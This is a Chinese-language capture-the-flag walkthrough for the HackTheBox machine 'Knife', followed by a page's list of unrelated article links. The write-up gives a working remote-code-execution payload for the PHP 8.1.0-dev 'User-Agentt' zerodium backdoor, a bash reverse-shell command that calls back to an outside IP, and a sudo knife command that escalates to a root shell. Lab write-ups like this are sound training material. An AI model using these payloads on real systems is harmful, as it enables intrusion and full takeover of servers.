当前位置: 首页 > news >正文

HackTheBox--Knife

Knife 测试过程

1 信息收集

端口扫描

在这里插入图片描述

80端口测试

echo "10.129.63.56 knife.htb" | sudo tee -a /etc/hosts

网站是纯静态的,无任何交互功能,检查网页源代码也未发现任何可利用的文件。

在这里插入图片描述

检查页面请求时,请求与响应内容,在响应头中,发现 X-Powered-By 的参数为:PHP/8.1.0-dev

在这里插入图片描述

搜索 PHP/8.1.0-dev 相关信息可以发现,存在 'User-Agentt' Remote Code Execution 漏洞

在这里插入图片描述


‘User-Agentt’ Remote Code Execution 漏洞利用

点击查看漏洞利用地址

如果字符串以 zerodium 开头,可以在 User-Agent 标头中执行 PHP 代码。

User-Agentt: zerodiumsystem('id');

在这里插入图片描述

写入反弹 shell 命令

User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.16.50/4444 0>&1'");

在这里插入图片描述

在这里插入图片描述


权限提升

在这里插入图片描述

knife 二进制文件,如果可以使用 sudo 权限运行,则可以直接提升权限

sudo knife exec -E 'exec "/bin/sh"'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • golang 基础 泛型编程
  • DB-GPT:LLM应用的集大成者
  • 【关于PHP性能优化,内存优化,日志工具等问题处理】
  • Python面试整理-Python中的控制流语句
  • 04 B端产品经理能力培养
  • 【入门教程一】基于DE2-115的My First FPGA 工程
  • 分类损失函数 (一) torch.nn.CrossEntropyLoss()
  • 机械学习—零基础学习日志(高数09——函数图形)
  • 【iOS】——探究isKindOfClass和isMemberOfClass底层实现
  • 基于电鸿(电力鸿蒙)的边缘计算网关,支持定制
  • vite + vue3 + uniapp 项目从零搭建
  • 面试题 17.14.最小K个数
  • Django+vue自动化测试平台(28)-- ADB获取设备信息
  • 前端面试 vue 接口权限控制
  • 【WPF开发】控件介绍-ComboBox
  • 「前端早读君006」移动开发必备:那些玩转H5的小技巧
  • 【跃迁之路】【585天】程序员高效学习方法论探索系列(实验阶段342-2018.09.13)...
  • js对象的深浅拷贝
  • leetcode46 Permutation 排列组合
  • mockjs让前端开发独立于后端
  • TCP拥塞控制
  • Terraform入门 - 3. 变更基础设施
  • vue:响应原理
  • 第2章 网络文档
  • 关于springcloud Gateway中的限流
  • 将回调地狱按在地上摩擦的Promise
  • 紧急通知:《观止-微软》请在经管柜购买!
  • 开源地图数据可视化库——mapnik
  • CMake 入门1/5:基于阿里云 ECS搭建体验环境
  • elasticsearch-head插件安装
  • 阿里云IoT边缘计算助力企业零改造实现远程运维 ...
  • ​创新驱动,边缘计算领袖:亚马逊云科技海外服务器服务再进化
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • (2024)docker-compose实战 (9)部署多项目环境(LAMP+react+vue+redis+mysql+nginx)
  • (AngularJS)Angular 控制器之间通信初探
  • (附源码)c#+winform实现远程开机(广域网可用)
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (力扣题库)跳跃游戏II(c++)
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (学习日记)2024.03.25:UCOSIII第二十二节:系统启动流程详解
  • (转) RFS+AutoItLibrary测试web对话框
  • (转)shell中括号的特殊用法 linux if多条件判断
  • (轉貼) 2008 Altera 亞洲創新大賽 台灣學生成果傲視全球 [照片花絮] (SOC) (News)
  • (最新)华为 2024 届秋招-硬件技术工程师-单板硬件开发—机试题—(共12套)(每套四十题)
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • ./和../以及/和~之间的区别
  • .jks文件(JAVA KeyStore)
  • .libPaths()设置包加载目录
  • .net 程序 换成 java,NET程序员如何转行为J2EE之java基础上(9)
  • .net 调用php,php 调用.net com组件 --
  • .Net实现SCrypt Hash加密
  • .net专家(高海东的专栏)
  • ;号自动换行
  • @component注解的分类
  • @Transaction注解失效的几种场景(附有示例代码)